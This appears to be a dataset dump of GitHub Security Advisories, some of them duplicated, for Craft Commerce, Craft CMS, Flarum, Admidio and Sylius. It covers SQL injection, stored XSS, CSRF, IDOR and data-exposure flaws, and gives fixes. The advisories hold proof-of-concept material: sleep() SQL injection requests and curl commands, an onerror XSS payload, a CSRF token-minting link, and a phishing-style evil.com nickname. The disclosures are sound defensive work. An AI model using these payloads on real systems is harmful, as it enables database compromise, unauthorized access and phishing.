deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-pmgj-gmm4-jh6j
Package: craftcms/commerce (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce is vulnerable to SQL Injection in Commerce Inventory Table Sorting

Details:
## Summary

Craft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.

---
## PoC
### Required Permissions
- General
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce
	- Manage inventory stock levels 

### Steps to reproduce
1. Log in to the control panel
2. Navigate to **Commerce** > **Inventory**
3. Click on any sortable column header (e.g., "SKU") to trigger a sort request
4. Intercept the request and modify `sort[0][direction]` or `sort[0][sortField]` parameters and append `,sleep(2)` payload to it's current value as follows:

```bash
# sort[0][sortField]=sku,sleep(2)
GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels
# sort[0][direction]=asc,sleep(2)
GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels
```

6. Observe the delay in the response, confirming the injection

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):
```bash
# sort[0][sortField]=sku,sleep(2)
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'
# sort[0][direction]=asc,sleep(2)
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'
```

### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character using time-based techniques.
- **Modify or destroy data** (drop tables, update records, alter schema).
GitHub Security Advisory: GHSA-mqxf-2998-c6cp
Package: craftcms/commerce (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce is Vulnerable to Stored XSS while updating Order Status from Orders Table

Details:
## Summary
A stored XSS vulnerability exists when a user tries to update the Order Status from the Commerce Orders Table. The Order Status Name is rendered without proper escaping, allowing script execution to occur.

---
## Proof of Concept
### Required Permissions
- Admin access (to edit/create Order Statuses)

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Commerce** → **Settings** → **Order Statuses**
3. Create a new order status
4. Set the **Name** field to:
```html
<img src=x onerror="alert('Order Statuses XSS')">
```
5. Save the order status
6. Go to Commerce → Orders (make sure you placed any orders)
7. From the left panel, select any Order Status (e.g., New)
8. Select any order from the orders table → Click on the Gear Icon → then click "Update Order Status..."
9. Notice the XSS execution
GitHub Security Advisory: GHSA-mqxf-2998-c6cp
Package: craftcms/commerce (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0, <= 4.10.1
Patched in: 4.10.2

Summary: Craft Commerce is Vulnerable to Stored XSS while updating Order Status from Orders Table

Details:
## Summary
A stored XSS vulnerability exists when a user tries to update the Order Status from the Commerce Orders Table. The Order Status Name is rendered without proper escaping, allowing script execution to occur.

---
## Proof of Concept
### Required Permissions
- Admin access (to edit/create Order Statuses)

### Steps to Reproduce
1. Log in with an admin account
2. Navigate to **Commerce** → **Settings** → **Order Statuses**
3. Create a new order status
4. Set the **Name** field to:
```html
<img src=x onerror="alert('Order Statuses XSS')">
```
5. Save the order status
6. Go to Commerce → Orders (make sure you placed any orders)
7. From the left panel, select any Order Status (e.g., New)
8. Select any order from the orders table → Click on the Gear Icon → then click "Update Order Status..."
9. Notice the XSS execution
GitHub Security Advisory: GHSA-j3x5-mghf-xvfw
Package: craftcms/commerce (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting

Details:
## Summary
Craft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2's query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.

---
## PoC
### Required Permissions
- General
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce
	- Manage orders
	- Edit orders

### Steps to reproduce
1. Log in to the control panel
2. Navigate to **Commerce** > **Orders** > Create a new order
3. Click on "Add a line item" to show the purchasables table
4. Intercept the AJAX request and modify the `sort` parameter as follows:
```http
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc
```
5. Observe the delay in the response, confirming the injection

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):
```bash
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'
```

### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character (same technique as [GHSA-pmgj-gmm4-jh6j](https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j)).
- **Modify or destroy data** (drop tables, update records, alter schema).
GitHub Security Advisory: GHSA-j3x5-mghf-xvfw
Package: craftcms/commerce (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 4.0.0, <= 4.10.1
Patched in: 4.10.2

Summary: Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting

Details:
## Summary
Craft Commerce is vulnerable to **SQL Injection** in the purchasables table endpoint. The `sort` parameter is split by `|` and the first part (column name) is passed directly as an array key to `orderBy()` without whitelist validation. Yii2's query builder does **NOT** escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the `ORDER BY` clause.

---
## PoC
### Required Permissions
- General
	- Access the control panel
	- Access Craft Commerce
- Craft Commerce
	- Manage orders
	- Edit orders

### Steps to reproduce
1. Log in to the control panel
2. Navigate to **Commerce** > **Orders** > Create a new order
3. Click on "Add a line item" to show the purchasables table
4. Intercept the AJAX request and modify the `sort` parameter as follows:
```http
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc
```
5. Observe the delay in the response, confirming the injection

Alternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):
```bash
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'
```

### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character (same technique as [GHSA-pmgj-gmm4-jh6j](https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j)).
- **Modify or destroy data** (drop tables, update records, alter schema).
GitHub Security Advisory: GHSA-vg3j-hpm9-8v5v
Package: craftcms/cms (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-287: Improper Authentication, CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 5.0.0-RC1, < 5.9.6
Patched in: 5.9.7

Summary: Craft CMS has a potential information disclosure vulnerability in preview tokens

Details:
# Summary

Craft CMS has a CSRF issue in the preview token endpoint at `/actions/preview/create-token`.  The endpoint accepts an attacker-supplied `previewToken`.

Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.  

That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.

---

## Preconditions
- Victim is logged in to Craft control panel.
- Victim has active preview authorization in session for target content (e.g., opened/edited an entry).
- The attacker must know the target’s `canonicalId` and public URL path of that entry.

## 1) Attacker prepares a fixed token
Use any 32-character value, for example:
```text
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

## 2) CSRF victim into minting that token
Send the victim a link (or top-level redirect) such as:
```text
https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F
```

If the victim is logged in and authorized for `previewElement:123`, Craft creates that exact token.

## 3) Attacker accesses preview content unauthenticated
```bash
curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
```

Expected vulnerable behavior:

- Response renders preview/unpublished state (draft/provisional context), not just normal public content.

---

# Impact
- CSRF-based minting of attacker-known preview tokens.
- Unauthorized access to draft/provisional/revision content via token replay.
- Stealthy one-click exploitation against logged-in editors/admins.
- No dependency on forwarded-host poisoning.

---
GitHub Security Advisory: GHSA-vg3j-hpm9-8v5v
Package: craftcms/cms (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-287: Improper Authentication, CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 4.0.0-RC1, < 4.17.3
Patched in: 4.17.4

Summary: Craft CMS has a potential information disclosure vulnerability in preview tokens

Details:
# Summary

Craft CMS has a CSRF issue in the preview token endpoint at `/actions/preview/create-token`.  The endpoint accepts an attacker-supplied `previewToken`.

Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.  

That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.

---

## Preconditions
- Victim is logged in to Craft control panel.
- Victim has active preview authorization in session for target content (e.g., opened/edited an entry).
- The attacker must know the target’s `canonicalId` and public URL path of that entry.

## 1) Attacker prepares a fixed token
Use any 32-character value, for example:
```text
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

## 2) CSRF victim into minting that token
Send the victim a link (or top-level redirect) such as:
```text
https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F
```

If the victim is logged in and authorized for `previewElement:123`, Craft creates that exact token.

## 3) Attacker accesses preview content unauthenticated
```bash
curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
```

Expected vulnerable behavior:

- Response renders preview/unpublished state (draft/provisional context), not just normal public content.

---

# Impact
- CSRF-based minting of attacker-known preview tokens.
- Unauthorized access to draft/provisional/revision content via token replay.
- Stealthy one-click exploitation against logged-in editors/admins.
- No dependency on forwarded-host poisoning.

---
GitHub Security Advisory: GHSA-3c4m-j3g4-hh25
Package: flarum/nicknames (COMPOSER)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.8.3
Patched in: 1.8.3

Summary: flarum/nicknames extension has display name injection in notification emails (autolink & markdown)

Details:
## Summary

When the `flarum/nicknames` extension is enabled, a registered user can set their nickname to a string that email clients interpret as a hyperlink. The nickname is inserted verbatim into plain-text notification emails, and recipients may be misled into visiting attacker-controlled domains.

## Affected package

- **`flarum/nicknames`** — permissive display name driver that allows special characters; affected since initial release on the `1.x` branch

Any third-party display name driver that permits special characters would be equally affected.

## Variants

1. **Domain autolink** — a nickname such as `nasty.com` is automatically converted to a clickable hyperlink by virtually all email clients (Gmail, Outlook, Apple Mail, Thunderbird).
2. **Markdown link syntax** — a nickname such as `[CLICK](https://evil.com)` is rendered as a clickable hyperlink by email clients that auto-render markdown in plain-text emails (e.g. Apple Mail, Thunderbird).

## Steps to reproduce

**Variant 1 (autolink — affects all email clients)**
1. Enable `flarum/nicknames`, set nickname to `nasty.com`
2. Trigger a notification email to another user (e.g. follow them, mention them)
3. The nickname appears as a clickable link in the received email

**Variant 2 (markdown — affects markdown-rendering email clients)**
1. Enable `flarum/nicknames`, set nickname to `[CLICK](https://evil.com)`
2. Trigger a notification email to another user
3. In a markdown-rendering email client (e.g. Apple Mail), the nickname appears as a clickable link

## Impact

Phishing / social engineering: victims may be misled into visiting attacker-controlled URLs via links appearing to originate from a trusted platform notification email. Variant 1 is exploitable against virtually all email clients without any special conditions.

- CVSS v3.1: `AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N` — **4.6 Medium**

## Root cause

The default username-based display name driver constrains values to `[a-zA-Z0-9_-]+`, making it immune. `flarum/nicknames` introduced permissive validation (min/max length and an optional admin-configured regex) that allows arbitrary characters including those meaningful in URL and markdown contexts. This has been the case since the first commit of the extension.

## Proposed fix

- Add validation in `flarum/nicknames` to reject or sanitize nicknames containing characters that email clients may interpret as URLs or markdown links
- Alternatively, sanitize the display name before insertion into notification email bodies so that legitimate nicknames like `Jane.Smith` are preserved but rendered safely

## References

- Bug bounty submission: SBB-L4ZVAFH8 (Intigriti)
GitHub Security Advisory: GHSA-7pfv-hr63-h7cw
Package: admidio/admidio (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: < 5.0.6
Patched in: 5.0.6

Summary: Admidio: Event participation IDOR - non-leaders can register other users for events via user_uuid parameter

Details:
## Vulnerability

In `modules/events/events_function.php`, the event participation logic allows any user who can participate in an event to register OTHER users by manipulating the `user_uuid` GET parameter.

Line 47: `$getUserUuid = admFuncVariableIsValid($_GET, 'user_uuid', 'uuid', ...)`
Line 424: `if ($event->possibleToParticipate() || $participants->isLeader($gCurrentUserId))`

The condition uses `||` (OR), meaning if `possibleToParticipate()` returns true (event is open for participation), ANY user - not just leaders - can specify a different `user_uuid` and register/cancel participation for that user.

The code then operates on `$user->getValue('usr_id')` (the target user from user_uuid) rather than the current user.

## Impact
- Register unwilling users for events (potential harassment/spam)
- Cancel other users' event participation
- Manipulate event participant counts and comments
- If events have participation limits, fill slots with unwanted registrations

## Fix
For non-leader users, force `user_uuid` to the current user:
```php
if (!$participants->isLeader($gCurrentUserId)) {
    $getUserUuid = $gCurrentUser->getValue('usr_uuid');
}
```
GitHub Security Advisory: GHSA-55rf-8q29-4g43
Package: sylius/sylius (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 1.11.0-alpha.1, <= 1.11.16
Patched in: 1.11.17

Summary: Sylius has a security vulnerability via adjustments API endpoint

Details:
### Impact
A security vulnerability was discovered in the `/api/v2/shop/adjustments/{id}` endpoint, which retrieves order adjustments based on incremental integer IDs. The vulnerability allows an attacker to enumerate valid adjustment IDs and retrieve order tokens. Using these tokens, an attacker can access guest customer order details - sensitive guest customer information.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.19, 1.13.4 and above.
The `/api/v2/shop/adjustments/{id}` will always return `404` status.

### Workarounds

Using YAML configuration:

Create `config/api_platform/Adjustment.yaml` file:

```yaml
# config/api_platform/Adjustment.yaml

'%sylius.model.adjustment.class%':
    itemOperations:
        shop_get:
            controller: ApiPlatform\Core\Action\NotFoundAction
            read: false
            output: false
```

Or using XML configuration:

> Note: This is the only way of disabling the vulnerable endpoint for Sylius 1.9, as YAML configuration is not supported in that version.

Copy the original configuration from vendor:

```bash
# create directory if it doesn't exist
mkdir -p config/api_platform

cp vendor/sylius/sylius/src/Sylius/Bundle/ApiBundle/Resources/config/api_resources/Adjustment.xml config/api_platform
```

And change the `shop_get` operation in copied `config/api_platform/Adjustment.xml` file:

```xml
<!-- config/api_platform/Adjustment.xml -->

...
<itemOperation name="shop_get">
    <attribute name="method">GET</attribute>
    <attribute name="path">/shop/adjustments/{id}</attribute>
    <attribute name="controller">ApiPlatform\Core\Action\NotFoundAction</attribute>
    <attribute name="read">false</attribute>
    <attribute name="output">false</attribute>
</itemOperation>
...
```

Update your API platform paths config if needed so the new configuration file is loaded:

```yaml
# config/packages/api_platform.yaml
api_platform:
    mapping:
        paths:
          - '%kernel.project_dir%/vendor/sylius/sylius/src/Sylius/Bundle/ApiBundle/Resources/config/api_resources'
          ...
          - '%kernel.project_dir%/config/api_platform'
```

### For more information
If you have any questions or comments about this advisory:

- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues)
- Email us at [security@sylius.com](mailto:security@sylius.com)
GitHub Security Advisory: GHSA-55rf-8q29-4g43
Package: sylius/sylius (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 1.10.0-alpha.1, <= 1.10.15
Patched in: 1.10.16

Summary: Sylius has a security vulnerability via adjustments API endpoint

Details:
### Impact
A security vulnerability was discovered in the `/api/v2/shop/adjustments/{id}` endpoint, which retrieves order adjustments based on incremental integer IDs. The vulnerability allows an attacker to enumerate valid adjustment IDs and retrieve order tokens. Using these tokens, an attacker can access guest customer order details - sensitive guest customer information.

### Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.19, 1.13.4 and above.
The `/api/v2/shop/adjustments/{id}` will always return `404` status.

### Workarounds

Using YAML configuration:

Create `config/api_platform/Adjustment.yaml` file:

```yaml
# config/api_platform/Adjustment.yaml

'%sylius.model.adjustment.class%':
    itemOperations:
        shop_get:
            controller: ApiPlatform\Core\Action\NotFoundAction
            read: false
            output: false
```

Or using XML configuration:

> Note: This is the only way of disabling the vulnerable endpoint for Sylius 1.9, as YAML configuration is not supported in that version.

Copy the original configuration from vendor:

```bash
# create directory if it doesn't exist
mkdir -p config/api_platform

cp vendor/sylius/sylius/src/Sylius/Bundle/ApiBundle/Resources/config/api_resources/Adjustment.xml config/api_platform
```

And change the `shop_get` operation in copied `config/api_platform/Adjustment.xml` file:

```xml
<!-- config/api_platform/Adjustment.xml -->

...
<itemOperation name="shop_get">
    <attribute name="method">GET</attribute>
    <attribute name="path">/shop/adjustments/{id}</attribute>
    <attribute name="controller">ApiPlatform\Core\Action\NotFoundAction</attribute>
    <attribute name="read">false</attribute>
    <attribute name="output">false</attribute>
</itemOperation>
...
```

Update your API platform paths config if needed so the new configuration file is loaded:

```yaml
# config/packages/api_platform.yaml
api_platform:
    mapping:
        paths:
          - '%kernel.project_dir%/vendor/sylius/sylius/src/Sylius/Bundle/ApiBundle/Resources/config/api_resources'
          ...
          - '%kernel.project_dir%/config/api_platform'
```

### For more information
If you have any questions or comments about this advisory:

- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues)
- Email us at [security@sylius.com](mailto:security@sylius.com)